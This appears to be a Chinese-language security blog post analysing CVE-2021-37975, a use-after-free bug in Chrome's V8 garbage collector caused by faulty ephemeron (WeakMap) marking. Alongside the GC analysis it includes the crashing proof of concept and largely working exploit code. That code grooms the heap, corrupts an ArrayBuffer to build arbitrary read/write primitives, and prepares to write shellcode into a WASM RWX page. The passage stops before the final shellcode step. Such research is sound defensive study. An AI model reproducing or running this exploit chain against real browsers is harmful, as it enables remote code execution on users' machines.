分析 CVE-2021-37975
继续分析 Chrome 在野利用,这次分析 CVE-2021-37975,这个漏洞是 GC 组件中的代码逻辑问题,可以导致释放后重利用。正好通过分析这个漏洞了解一下 v8 的 GC 实现,以及释放后重利用漏洞的利用策略。
复现
阅读报告得知低于 94.0.4606.71 的 Chrome 受此漏洞影响,搜索 2021 年 9月 的 Chrome 发布记录 找到 94.0.4606.61,从源码构建出此版本 Chrome。
git fetch --depth 1 `
https://chromium.googlesource.com/chromium/src.git `
+refs/tags/94.0.4606.61:chromium_94.0.4606.61
git checkout tags/94.0.4606.61
gclient sync -v
gclient sync --with_branch_heads
gclient runhooks
gn args out/CVE-2021-37975
ninja -C out/CVE-2021-37975 chrome
ℹ️NOTE: sync 过程中我遇到了 v8 rebase 冲突的问题,没找到导致冲突的原因,只好采用比较笨的办法,把 v8 目录删掉后重新运行 gclient sync -v
,这样 gclient 新同步了一份 v8 代码就可以了。
提取报告中的 POC 代码,用 python -m http.server
搭建一个可以触发漏洞的本地站点。
// poc.js
var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
function hideWeakMap(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = new WeakMap();
prevMap.set(prevKey, thisMap);
let thisKey = {'h' : i};
thisMap.set(prevKey, thisKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
let retMap = new WeakMap();
map.set(thisKey, retMap);
return thisKey;
}
}
}
function getHiddenKey(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = prevMap.get(prevKey);
let thisKey = thisMap.get(prevKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
return thisKey;
}
}
}
function setUpWeakMap(map) {
let hk = hideWeakMap(map, level, initKey);
let hiddenMap = map.get(hk);
let map7 = new WeakMap();
let map8 = new WeakMap();
let k5 = {k5 : 1};
let map5 = new WeakMap();
let k7 = {k7 : 1};
let k9 = {k9 : 1};
let k8 = {k8 : 1};
let v9 = {};
map.set(k7, map7);
map.set(k9, v9);
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
map5.set(hk, k7);
map7.set(k8, map8);
map7.set(k7, k8);
map8.set(k8,k9);
}
function main() {
setUpWeakMap(map1);
new ArrayBuffer(0x7fe00000);
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);
console.log(map1.get(map8.get(k8)));
}
while (true) {
try {
main();
} catch (err) {}
}
<!--index.html-->
<html>
<body>
<script src="./poc.js"></script>
CVE-2021-37979
</body>
</html>
Chrome 访问 http://localhost:8000 后崩溃。
分析
ℹ️NOTE: 在对漏洞有了基本了解后,我并没有继续看报告中余下的分析,而是把这次的分析当做一个练习题,先尝试自己分析,再进行不下去的时候再去漏洞报告中看寻找提示,所以下面的分析走了不少“弯路”。
阅读报告得知漏洞是出现在 GC 组件,先搜了一篇 v8 GC 的介绍:
- https://v8.dev/blog/trash-talk
看完以后得到以下信息:
- v8 使用了分代(Generation)回收的策略:
- 内存分成了 Newspace 和 Oldspace 两个空间,新创建的对象先从 Newspace 申请内存,在 GC 时可以被提升(移动)到 OldSpace。
- GC 策略有为 Scavenger (Minor-GC) 和 Mark-Sweep-Compact (Major-GC) 两种
- Scavenger 仅对 Newspace 进行回收,使用的是 Cheney’s 算法:把 Newspace 分割成 From 和 To 两个半空间(Semispace),仅从 From 分配内存,To 预留不用,在 From 内存用光时,启动 Sacvenger 垃圾回收,交换 From 和 To 的指向,把存活对象都拷贝到新的 From。
- Mark-Sweep-Compact 算法是对整个堆进行回收:从预先定义的根集(Roots)开始,用三色标记法追踪存活对象。标记完成后,遍历所有页面,将 New Space 的对象,移动到 Old Space,标记 Oldspace 中的空闲的内存块,按需整理内存碎片。
- 这种策略是基于这样的场景:大部分对象的生命周期很短,Newspace 中的对象创建之后很快就被丢弃了,需要频繁的进行 GC 检查。Oldspace 中都是存活一定时间后的对象,倾向于稳定,不需要经常的进行 GC 检查。
分析 poc.js
有了基本的了解以后,开始调试程序。Visual Studio 附加调试 Chrome.exe,开启子进程调试选项,附加成功后新建标签页访问 POC 页面,触发崩溃。
查看调用栈,得知崩溃是发生在 console.log
函数中,异常原因是访问了无效的内存地址,这应该就是使用被释放内存的地方,POC 中只有一处 console.log
调用,被释放的对象应该就是 console.log
的参数。
用 Chrome 的开发者工具分步调试 poc.js 代码,查找 console.log
的参数的来源。
hideWeakMap
先分析 hideWeakMap
函数,修改下 poc.js 让调试更方便:
- 这部分仅调试
setUpWeakMap(map1)
就够了,注释掉无关部分,这样就可以调试hideWeakMap
而又不触发崩溃 - 在
hideWeakMap
开头插入debugger;
语句制造断点。
setUpWeakMap
创建了一组对象,还创建了一组 WeakMap 把它们串到一起,WeakMap 这种数据结构我之前没使用过,从 MDN 了解到它是一种特殊的 Map,主要特性是它的键只能是对象且都是弱引用。这样一来 WeakMap 的键不被其他对象引用时,就会被垃圾回收,键被垃圾回收后,值的引用也会失效。
函数主体是执行 level
轮的 for 循环,每轮操作如下:
- 新建对象 thisMap[i],thisKey[i],后面简写成 m_i, k_i。
- 把本轮的 m_i 和 上一轮的 m_i-1 用上一轮的 k_i-1 关联起来: m_i-1[k_i-1] => m_i。
- 把本轮的 k_i 和 m_i 用上一轮的 k_i-1 关联起来: m_i[k_i-1] => k_i
- 综合上面两条, m_i: { k_i => m_i+1, k_i-1 => k_i },其中 k_i => m_i+1 是第 i+1 轮循环执行 2 时设置的。
- 对于最后一轮循环的 m_i,没有第 i+1 轮循环来设置其 k_i,所以它只有 k_i-1 一个键:{ k_i-1 => k_i }
- 第一轮循环(i=0)时全局量 map1 和 initKey 相当于 m_-1 和 k_-1
- 最后一轮额外创建一个空的 retMap,将 retMap 以 k_level-1 为键关联到 map1
本次调用传入的 level 值为 4,函数返回后,相关变量状态如下:
- map1 适用规则 6、7,得到 { initKey => m_0, k_3 => retMap }
- m_0 适用规则 6,得到 { initKey => k_0, k_0 => m_1 }
- m_1、m_2 适用规则 4,得到 { k_1 => m_2, k_0 => k_1 }、{ k_2 => m_3, k_1 => k_2 }
- m_3 适用规则 5,得到 { k_2 => k_3 }
- 返回值是循环最后一轮的 k_3
函数返回时,对象关系如下图:
setUpWeakMap
hideWeakMap
执行完毕后,返回到 setUpWeakMap
:
- 返回值
hk
就是 k_3,那么hiddenMap
是retMap
- 创建 map5、map7、map8、map9、k5、k7、k8、k9、v9。为了统一符号,后面简写成 map_n、k_n、v_n
setUpWeakMap
返回时,对象关系扩充成:
main
完成上面的操作后,程序返回到 main
函数:
- 申请超大的
ArrayBuffer
- 调用
getHiddenKey
获取到了 k_3 存入hiddentKey
- 利用 k_3 从 map1 取得了 retMap 存入
hiddenMap
- 从 retMap 中取到 k_7:
k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey)
- => k7 = retMap[ retMap[k_3] ][k_3]
- => retMap[k_5][k_3]
- => m_5[k_3]
- => k_7
- 从 map1 取到 k_8:map1[k_7][k_7] => m_7[k_7] => k_8
- 从 map1 取到 m_8:map1[k_7][k_8] => m_7[k_8] => m_8
- 从 map1 取到 v9,然后用 console.log 输出:map1[ map8[k_8] ] => map1[k_9] => v9
引用关系
有了基本的了解,我们从被释放的对象 v9 开始,反着梳理一下引用关系,总结出一个引用关系图:
- 带数字标注的实线边,代表 WeakMap 的键值关系,如果边的起点代表的键被 GC 回收了,那么边的终点也不再有效了。标号是从 v9 开始的指向层数,例如,指向 v9 的边 map1[k_9] -> v9 是第 0 层,要保证 v9 不被回收,则指向 k_9 和 map1 的边 ROOT -> map1 和 m_8[k_8] -> k_9 是就必须有效,这两个边是第一层,再往上指向 m_8 和 k_8 的边 m_7[k_8] -> m_8,m_7[k_7] -> k_8 是必须有效(ROOT 比较特殊,它是一直有效的),这就是第二层。
- 不带标号的虚线,把对象和把它作为键的地方关联起来。带菱形箭头的一边是对象的值,另一边代表 WeakMap 使用此对象作为键的位置,根据 WeakMap 的特向,当对象被 GC 回收后, 使用它作为键的地方也不再有效。
- Roots 可以看做一个包含所有全局对象的数组
while 循环
剩下的部分就是一个 while(true)
,循环调用 main
函数并且忽略所有异常。
调试 GC
通过上面的分析,我推测是 GC 的存活分析出现了问题,误把存活的对象,当做不再被引用的对象回收了。而且 POC 大量使用了 WeakMap,很可能是与 WeakMap 相关的 GC 逻辑,我带着这个推测开始调试 GC 的过程。
先调一下 Scavenger,在源码中搜索 Scavenger 关键字,搜索结果中找到 ScavengerCollector
类,大致浏览此类找到 ScavengerCollector::CollectGarbage
函数,根据此函数的引用上下文,推测这个就是执行 Scavenger 算法的函数。编写测试页面验证推测:测试页循环执行 obj = new Object()
申请大量对象触发 Scavenger GC,Chrome 访问测试页面后,确实可以触发断点,粗略调试函数也有同样的结果。确认后就可以调试 POC 的 Scavenger 流程了,在 POC 开头加入 alert
,待 alert
弹出后,启用 Scavenger 的断点,点掉弹窗让代码继续运行,发现页面直接崩溃了,断点并不会断下。检查后确认断点没问题,就是没有执行到相关代码。
看来漏洞并不在 Scavenger 组件,分析脚本的 GC 操作的调用栈,找到更上层的 GC 启动逻辑 Heap::PerformGarbageCollection
。下好断点后,再次访问 POC 页面,这次可以断下,查看调用栈发现是在申请 ArrayBuffer
的地方,单步跟下去确实跟到了 Mark-Sweep-Compactor 垃圾回收器,看来 POC 中 new ArrayBuffer(0x7fe00000);
就是用来触发 GC 的。
ℹ️NOTE: ArrayBuffer
申请失败会触发 GC,0x7fe00000
这个值太大了超过了能申请的最大值,一定会申请失败。
接下来我反复调试了 Mark-Sweep-Compact 垃圾回收的过程,重点关注 WeakMap 对象相关的 GC 策略,发现如下:
Mark-Sweep-Compact 大致可以分为标记和回收两步:
- 标记:从包含全局量、栈等位置的根集开始,以广度优先的顺序,对存活对象进行标记。标记采用的是三色标记法,标记结果以位图的形式存放在内存块头中。
- 回收:根据标记结果,把空闲内存回收,回收过程中,如果有必要还会对 Oldspace 进行整理,减少内存碎片。
ℹ️NOTE: 可以用 chrome.exe --no-sandbox --js-flags="--no-parallel_marking"
命令行,关闭并发标记,简化这部分调试工作。
标记阶段与 WeakMap
相关的动作:
WeakMap
(v8::internal::JSWeakMap
):WeakMap
内部有一个指向EphemoronTable
结构的指针,对它的标记动作是把EphemoronTable
标记成灰色,并加入工作队列。详见MarkingVisitorBase<..>::VisitJSWeakCollection
。EphemeronTable
:WeapMap 中的 Key-Value 对在 GC 中被叫做 ephemoron,存储在EphemeronTable
结构中。 对它的标记操作:- 先会把它记录到
ephemeron_hash_tables
,这样标记完成后ephemeron_hash_tables
中就包含所有的EphemeronTable
。 - 之后遍历它内部存储的 Key-Value 对,如果 Key 是灰色或黑色,则把 Value 标记为灰色,加入工作队列。如果 Key 和 Value 都是白色,则把 Key-Value 对加入
discovered_ephemorons
队列。这是因为当前还有对象没有处理完,Key 的颜色后续还可能会发生变化,要等其他的对象都处理完成后才能确定。可以看到 WeakMap 中存储的 。
- 先会把它记录到
在整个标记阶段的末尾,在其他对象都处理完成后,还会专门对 Ephemerons 进行一轮最终的处理,循环标记 Ephemerons 直到状态不再变化:
next_ephemerons
队列的所有元素移动到current_ephemerons
队列- 遍历
current_ephemorons
中的所有 Ephemeron。如果 Key 已经变成黑/灰了, 就把 Value 标记为灰色,加入工作队列。否则就放回next_ephemerons
队列,下轮继续处理。 - 处理工作队列中所有对象
- 遍历
discovered_ephemorons
处理新发现的 Ephemeron,也是发现黑色/灰色的 Key 就把 Value 标记为灰色,加入工作队列,如果 Key,Value 都是白色,则加入next_ephemerons
集合 - 如果本轮循环,既没有发现
current_ephemerons
队列的变化,又没有新增discovered_ephemerons
队列,则处理完成,跳出循环。
回收阶段会把标记过的存活对象进行移动,从 New Space 移动到 Old Space。多次调试后,我发现移动操作完成后,map1 中有几个对象没被移动,也正是访问这些值的操作触发了崩溃。根据我前面分析出的引用关系,map1 中所有的值都是存活的,都该被移动到 Old 空间,标记阶段漏标的值应该就是这里了。
漏标的值是 WeakMap 中存储的,所以推测是循环处理 Ephemerons 的地方出了问题,重点对这块进行调试后发现,Ephemerons 处理的完成条件是有问题的,可能出现 map1 中存储的 v_9 还未被标记,循环就已经满足条件退出的情况,最终 v_9 被当做垃圾回收了。GC 完成后虽然 v_9 已经被释放掉了,还可以从 map_1 中读取到它的指针,继续访问被释放的内存。
利用
接下来编写利用代码,思路如下:
- 在 Old Space 构造出 0x30, 0x40 两种大小的空闲内存空洞:
- 创建多个包含 5 个元素的 Double 数组
- 创建多个包含 6 个元素的 Double 数组
- 触发 GC 把数组移动到 Oldspace
- 再利用数据的 Push 函数,把上面两种数组都扩充成 8 个元素。这样数组的旧缓冲区 (
FixedArray
) 会被释放掉在,产生 0x30, 0x40 两种空闲内存块。
- 申请多个 5 元素的 Double 数据,触发 GC,数组的
JSArray
就会被移动到 0x30 的空洞中,每个 0x30 的空闲块中可以填入 3 个JSArray
(0x10),缓冲区(FixedArray
)被移动到 0x40 的空洞中,把所有这些数组都存放入一个全局数组arrs
中。 - 创建多个
ArrayBuffer
- 把 v9 替换成第二步中使用的
arrs
数组,之后把arrs
置为空。 - 触发漏洞,
arrs
数组会被释放掉,数组所在的位置又变成了空闲内存块,ArrayBuffer
对象有可能被移动到 0x40 空闲块中,而 0x30 的空闲块可能没有被分配。 - 通过漏洞还是可以访问到
arrs
数组,由于 Double 数组的缓冲区(0x40 的块)已经被填入了ArrayBuffer
,利用arrs
就可以读/写ArrayBuffer
的内容。 - 读取到
ArrayBuffer
的 backing_storage,就可以使用 CVE-2019-13720 类似的技术,新创建一个 FileReaderLoader 并从 FastMallocPartitionRoot 获取到它的地址,又通过此对象读取到与其关联的 FileReader 以及其 WASM 函数的 RWX 内存块的地址。 - 修改
ArrayBuffer
的 backing_store 和长度,就可以把 shellcode 拷贝到上一步创建的 RWX 内存块中,作为 WASM 导出函数执行。
稳定 Oldspace
多次改写利用代码后,我发现要想稳定利用 UAF 型漏洞,就要控制好 Oldspace 的状态。每次 Major-GC 过程中 Sweep, Evacuation 都可能改变 Oldspace 的状态,先了解这两个步骤。
Sweep
Sweep 是根据标记结果,回收页面中的空闲内存,将其插入空闲表的过程:
- 在 Major GC 中 Sweep 是按需进行的,不是一下 Sweep Oldspace 所有的页面,而是每次内存不够用时,回收一个页面的,待 GC 完成的时候,如果有没回收的页面,就交给后台线程去继续回收。
- 根据之前标记的存活信息,把所有页面根据存活数据的大小进行排序,先回收存活数据量少的页面。
- 依照标记存活信息,找到存活对象之外的空闲块,在空闲块上创建代表空闲块的特殊对象,链入所在页面的空闲表。
- 有三种不同类型的对象都可以表示空闲内存,它们的不同之处是内存块的大小:
- 如果只有 4 字节就是 OnePointerFiller
- 有 8 字节是 TwoPointerFiller
- 如果超过 8 字节,就是 FreeSpace:
- FreeSpace
- 0x00 map
- 0x04 size: Smi
- 0x08 next: TaggedPtr
- FreeSpace
- 空闲表总共有 24 个,每个都容纳不同大小的空闲内存块,例如,第一个存储小于 24 的,第二个里面存储 [24, 32) 的。 ```cpp
static constexpr unsigned int categories_min[kNumberOfCategories] = { 24, 32, 48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 224, 240, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, 65536};
#### Evacuation
Major-GC 会选择 Newspace 中所有页面和部分 Oldspace 的页面,形成一个页面的集合,逐个遍历这些页面,把页面中的对象移动到其他地方:
- 发现一个新对象,就从 Oldspace 申请对应大小的内存,把对象移动过去。也就是说 Newspace 的对象移动到 Oldspace, Oldspace 中的对象移动到 Oldspace 的其他页面
- Oldspace 的内存申请可以细分为多个层级:
- 先从 Oldspace 的线性分配区申请
- 线性分配区剩余内存不足时,就把线性分配区释放,从空闲表中申请 FreeSpace 作为新线性分配区,空闲表根据内存块大小分组存放,先尝试最接近目标内存大小,之后再依次尝试更大的,直到最大的空闲内存块
- 当空闲链表内存不足时,尝试查找已经 Sweep 完成但是没有加入空闲链表的页面,把页面内的所有 FreeSpace 插入空闲链表
- 如果没有找到这样的页面,就尝试 Sweep 新页面
- 如果 Sweep 新页面也不能满足,就申请新的页面。
- 从 Oldspace 选取的是存活数据占比较低的页面,以达到整理内存碎片的作用:
- Oldspace 所有页面按照存活数据大小进行排序,将存活数据量最小的几个页面作为候选页面
- Oldspace 中有一个特殊的页面,它的大小连其他正常页面的一半都不到,这个页面不会被 Evacuation,但是会影响页面的排序和新页面的申请。
- 当最空闲的页面,已经分配过半,下次 GC 时,它就会被排序到特殊页面之后,Sweep 先尝试的就是特殊页面,如果特殊页面几乎是满的,Sweep 就会失败,申请一个新页面出来
- 新的页面填入的数据如果没有特殊页面大,下次 GC 就会将其排序到特殊页面前,Evacuation 会把,特殊页面前后的两个页面中的对象合并到一个新页面中,达到了整理内存碎片的效果。
- 计算所有 Evaculation 候选页面中已用内存的和,预估 Evaculation 完成后这些对象所需的页面数量。如果对 Oldspace 的 Evaculation 并不能减少 Oldspace 页面使用量,则不会进行 Evaculation。
#### 代码实现
稳定的利用,就需要:
- 0x30, 0x40 空闲块所在的页面的总是第一个被 Sweep,这样才能让 Newspace 的对象,被移动到事先准备的空闲块中。
- 0x30, 0x40 空闲块所在的页面不被 Evacuation,因为 Evacuation 会破坏布局好的空闲块。
经过实验,我发现在利用的开头,先用 Double 数组申请大量的 0x10 的内存块,可以让 Oldspace 达到一个较稳定的状态,这个时候 Oldspace 总共有 5 个页面,4 个容量为 0x40000,剩下 1 个为 0x15000。其中 4 个已经被填满了,只剩下一个 0x40000 容量的页面仅有 0xC000 左右的内存被分配。这就使得整个利用期间,此页面的已分配内存总是最小的,每次 Sweep 都是在这个页面进行,而且由于其他页面都是满的,Evaculation 并不能减少总的页面用量,也不会有 Evacuation 来影响内存布局。
内存布局示例:
- 0x00006a7508140000,大小:0x40000,已分配:0x3d134
- 0x00006a7508200000,大小:0x40000,已分配:0x386c0
- 0x00006a7508040000,大小:0x40000,已分配:0x32b7c
- 0x00006a75081c0000,大小:0x15000,已分配:0x128ac
- 0x00006a7508280000,大小:0x40000,已分配:0xc550
这样整个利用期间新对象的申请释放,大多是在页面 0x00006a7508280000 上进行的,其他页面的状态不会变化。
```javascript
const predict_free_space = Math.floor(0x3d000 * 0.9);
let occupy = null;
const sizeOfArr = 0x10 + 2 * 0x8 + 0x4;
function AllocateNewPage() {
occupy = new Array(Math.floor(predict_free_space / sizeOfArr));
for (let i = 0; i < occupy.length; ++i) {
occupy[i] = [2.7749965545731962e-257];
}
TrigerGc();
}
function TrigerGc() {
try {
new ArrayBuffer(0x7fe00001);
} catch (e) {
}
}
布局内存
通过上面的步骤稳定 Oldspace 后,就可以按照思路在 Oldspace 中布局内存,构造 UAF 了。
先是构造若干 0x30, 0x40 的空闲内存空洞。
const count = 10;
let bufs = new Array(count);
let arr = new Array(2 * count);
let arr2_before = new Array(2 * count);
let arr2 = new Array(count);
let arr3 = new Array(count);
let arr_keep = new Array(count);
function setUpWeakMap() {
for (let i = 0; i < arr.length; ++i) {
if (i < count) {
arr[i] = [ 1.1, 1.2, 1.3, 1.4, 1.5 ];
} else {
arr[i] = [ 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7 ];
}
}
TrigerGc();
for (let i = 0; i < arr.length; ++i) {
if (i < count) {
arr[i] = [ 1.1, 1.2, 1.3, 1.4, 1.5 ];
} else {
arr[i] = [ 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7 ];
}
}
TrigerGc();
...
ℹ️NOTE:bufs,arr,arr2_before 这些一定要是全局变量,这样它们申请的时机较早,和临时变量处于不同的页面中:
- 不会影响漏洞利用期间的内存布局
- 释放后不会被 Sweep,可以稳定的 UAF
再申请新数组填入空洞,0x30 空洞被填入 JSArray
,0x40 空洞被填入 FixedArray
(缓冲区),JSArray
中有指针指向 FixedArray
。
实际测试中我发现,利用 double 数组( arr3),额外申请一些 0x10 的空洞,有助于提升利用的稳定性:
- 可以填充之前已经存在的 0x10 空洞
- 可以让
arr2
中的JSArray
不位于空闲块的开头,被 Sweep 后不会被FreeSpace
的数据覆盖。
...
for (let i = 0; i < arr3.length; ++i) {
arr3[i] = [ 1.1 ];
}
TrigerGc();
for (let i = 0; i < arr2.length; ++i) {
arr2[i] = [ 1.7, 1.7, 1.7, 1.7, 1.7, 1.7, 1.7 ];
}
TrigerGc();
...
接下来申请若干 ArrayBuffer
,触发漏洞释放掉 arr2
,触发漏洞的 GC 同时也会把 ArrayBuffe
移动到 arr2
中元素所在的 0x40 空洞的位置。
...
for (let i = 0; i < bufs.length; ++i) {
bufs[i] = new ArrayBuffer(8);
}
PreventModifyArr = new Array(100);
let hk = hideWeakMap(map, level, initKey);
let hiddenMap = map.get(hk);
let map7 = new WeakMap();
let map8 = new WeakMap();
let k5 = {k5 : 5};
let map5 = new WeakMap();
let k7 = {k7 : 7};
let k9 = {k9 : 9};
let k8 = {k8 : 8};
map.set(k7, map7);
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
map5.set(hk, k7);
map7.set(k8, map8);
map7.set(k7, k8);
map8.set(k8, k9);
map.set(k9, arr2);
arr2_before = null;
arr2 = null;
}
实际测是发现 JSWeakMap
可能会被移动到关键的数据结构中,影响漏洞利用,所以我又加了一个 PreventModifyArr
,期望可以通过一个较大内存块的分析,让页面末尾的大块空闲内存成为线性分配区,这样之后的其他对象都会被填入这个非常大的线性分配区,而不会影响页面前端的小对象。
async function main() {
setUpWeakMap(map1);
// 触发漏洞
TrigerGc();
try {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let m8 = map1.get(k7).get(k8);
let arr_free_uaf = map1.get(m8.get(k8));
let arrbuf_as_arr = null;
try {
for (let i = arr_free_uaf.length; i > 0; --i) {
if (!arr_free_uaf[i])
continue;
maybe_ab_len = high32(ftou(arr_free_uaf[i][0]));
if (maybe_ab_len == 8) {
arrbuf_as_arr = arr_free_uaf[i];
arr_free_uaf = null;
arrbuf_as_arr[0] =
utof(ftou(arrbuf_as_arr[0]) + BigInt(0x10000000000));
break;
}
}
if (arrbuf_as_arr == null) {
return;
}
// maybe point to arraybuffer.byteLength
let arrbuf = null;
for (let i = 0; i < bufs.length; ++i) {
if (bufs[i].byteLength != 8) {
arrbuf = bufs[i];
break;
}
}
if (arrbuf == null) {
return;
}
...
漏洞成功触发后,arr_free_uaf
指向的就是已经被释放了的 arr2
数组,它内部指向的元素如果没有被覆盖的话,此时就指向了 ArrayBuffer
所在的内存,那么利用 arr_free_uaf[i]
就可以读/写 ArrayBuffer
的内容。
- JSArrayBuffer
- 0x00 map: taggedptr
- 0x04 props: taggedptr
- 0x08 elems: taggedptr
- 0x0C byte_len: intptr_t
- 0x14 max_byte_len: intptr_t
- 0x1C backing_store: intptr_t
- 0x24 extension: intptr_t
- 0x2C bitfield: int32_t
arr_free_uaf[i][0]
相当于是 JSArrayBuffer
0x08 偏移处的内同,也就是 elems 和 byte_len 的低 32 位,arrbuf_as_arr[0] = utof(ftou(arrbuf_as_arr[0]) + BigInt(0x10000000000));
就相当于 byte_len += 100
。
修改了 ArrayBuffer
的长度后,我们遍历整个 bufs
数组,检查 byteLength
,定位到可以通过 arr_free_uaf
可以读写到的元素。
代码执行
上面已经得到了读写 ArrayBuffer
的能力,通过这个能力我们是可以利用 ArrayBuffer
实现任意地址读写的,但是我们要读写什么数据,来把它转换成代码执行呢?
也许我们可以再触发一次漏洞,构造出一个 addrof 操作,但是这样必然会进一步降低漏洞利用的稳定性。经过多次尝试,我发现从 ArrayBuffer
的 backing_store 入手,借鉴 CVE-2019-13720 的利用思路,可以在只触发一次漏洞的情况下完成利用。
CVE-2019-13720 的利用思路,用到的是 FastMallocPartition 中申请的内存块,而 backing_store 是从 ArrayBufferPartition 申请的内存块,但是所有的PartitionRoot 都是再同一个函数中定义的 static 变量,它们在内存中是临近的。
// static
bool Partitions::InitializeOnce() {
#if !BUILDFLAG(USE_PARTITION_ALLOC_AS_MALLOC)
static base::NoDestructor<base::PartitionAllocator> fast_malloc_allocator{};
fast_malloc_allocator->init({
base::PartitionOptions::AlignedAlloc::kDisallowed,
base::PartitionOptions::ThreadCache::kEnabled,
base::PartitionOptions::Quarantine::kAllowed,
base::PartitionOptions::Cookies::kAllowed,
#if BUILDFLAG(ENABLE_BACKUP_REF_PTR_IN_RENDERER_PROCESS)
base::PartitionOptions::RefCount::kAllowed
#else
base::PartitionOptions::RefCount::kDisallowed
#endif
});
fast_malloc_root_ = fast_malloc_allocator->root();
#endif // !BUILDFLAG(USE_PARTITION_ALLOC_AS_MALLOC)
static base::NoDestructor<base::PartitionAllocator> array_buffer_allocator{};
static base::NoDestructor<base::PartitionAllocator> buffer_allocator{};
static base::NoDestructor<base::ThreadUnsafePartitionAllocator>
layout_allocator{};
base::PartitionAllocGlobalInit(&Partitions::HandleOutOfMemory);
// RefCount disallowed because it will prevent allocations from being 16B
// aligned as required by ArrayBufferContents.
array_buffer_allocator->init({
base::PartitionOptions::AlignedAlloc::kDisallowed,
base::PartitionOptions::ThreadCache::kDisabled,
base::PartitionOptions::Quarantine::kAllowed,
base::PartitionOptions::Cookies::kAllowed,
base::PartitionOptions::RefCount::kDisallowed
});
buffer_allocator->init({
base::PartitionOptions::AlignedAlloc::kDisallowed,
base::PartitionOptions::ThreadCache::kDisabled,
base::PartitionOptions::Quarantine::kAllowed,
base::PartitionOptions::Cookies::kAllowed,
#if BUILDFLAG(ENABLE_BACKUP_REF_PTR_IN_RENDERER_PROCESS)
base::PartitionOptions::RefCount::kAllowed
#else
base::PartitionOptions::RefCount::kDisallowed
#endif
});
// RefCount disallowed because layout code will be excluded from raw_ptr<T>
// rewrite due to performance.
layout_allocator->init({
base::PartitionOptions::AlignedAlloc::kDisallowed,
base::PartitionOptions::ThreadCache::kDisabled,
base::PartitionOptions::Quarantine::kAllowed,
base::PartitionOptions::Cookies::kAllowed,
base::PartitionOptions::RefCount::kDisallowed
});
array_buffer_root_ = array_buffer_allocator->root();
buffer_root_ = buffer_allocator->root();
layout_root_ = layout_allocator->root();
#if defined(PA_ALLOW_PCSCAN)
if (base::FeatureList::IsEnabled(base::features::kPartitionAllocPCScan) ||
base::FeatureList::IsEnabled(kPCScanBlinkPartitions)) {
base::internal::PCScan::RegisterNonScannableRoot(array_buffer_root_);
#if !BUILDFLAG(USE_PARTITION_ALLOC_AS_MALLOC)
base::internal::PCScan::RegisterScannableRoot(fast_malloc_root_);
#endif
base::internal::PCScan::RegisterScannableRoot(buffer_root_);
}
#endif // defined(PA_ALLOW_PCSCAN)
initialized_ = true;
return initialized_;
}
有了 backing_store 的地址,就可以读到 ArrayBufferPartitionRoot 的地址,从而计算出 FastMallocPartitionRoot 的地址。之后就可以依照 CVE-2019-13720 的利用思路读取到一个 FileReader 对象的地址,又从 FileReader.onerror 事件回调读取到 WASM 导出函数的地址,利用任意内存写将 shellcode 填入 WASM 导出函数,之后调用导出函数就可以执行 shellcode 了。
async function main() {
...
function read64(addr) {
arrbuf_as_arr[2] = utof(BigInt(low32(addr)) << BigInt(32));
arrbuf_as_arr[3] = utof((ftou(arrbuf_as_arr[3]) &
BigInt(0xFFFFFFFF00000000)) + BigInt(high32(addr)));
return new BigInt64Array(arrbuf)[0];
}
function writeN(addr, src) {
// modify backing_store
arrbuf_as_arr[2] = utof(BigInt(low32(addr)) << BigInt(32));
arrbuf_as_arr[3] = utof(
(ftou(arrbuf_as_arr[3]) & BigInt(0xFFFFFFFF00000000)) +
BigInt(high32(addr)));
// modify len
arrbuf_as_arr[0] =
utof(ftou(arrbuf_as_arr[0]) + (BigInt(src.length) << BigInt(32)));
let dst = new Uint8Array(arrbuf);
for (let i = 0; i < src.length; ++i) {
dst[i] = src[i]
}
}
await exploit(read64, writeN, backing_store);
} catch (e) {
alert(`${e.lineNumber}:${e.message}`);
}
} catch (e) {
}
}
async function exploit(read64, writeN, leaked_arrbuf_ptr) {
var wasmCode = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0,
1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4,
132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128,
0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128,
128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4,
109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132,
128, 128, 128, 0, 0, 65, 42, 11
]);
const wasmBlob = new Blob([ wasmCode ], {type : "application/wasm"});
let module = WebAssembly.compile(wasmCode)
// let inst = WebAssembly.instantiate(module)
const wasmUrl = URL.createObjectURL(wasmBlob);
let result = await WebAssembly.instantiateStreaming(fetch(wasmUrl), {})
let wasmFuncA = result.instance.exports.main;
function getArrBufBucket(read64, slot) {
let meta = getPartitionPageMetadataArea(leaked_arrbuf_ptr);
const offsetBucket = BigInt(0x10);
let bucket_0x10 = read64(meta + offsetBucket);
return bucket_0x10;
}
function getFastMallocBucket(ArrBufBucket) {
const bucket_delta = BigInt(0xb40);
return ArrBufBucket - bucket_delta;
}
fastMallocBucket = getFastMallocBucket(
getArrBufBucket(read64, leaked_arrbuf_ptr));
reader_arr = [];
let fileReaderLoaderSize = 0x140;
let bucket_0x140 = getFastMallocBucketBySlotSize(read64, fastMallocBucket,
fileReaderLoaderSize);
const offsetActivePage = BigInt(0);
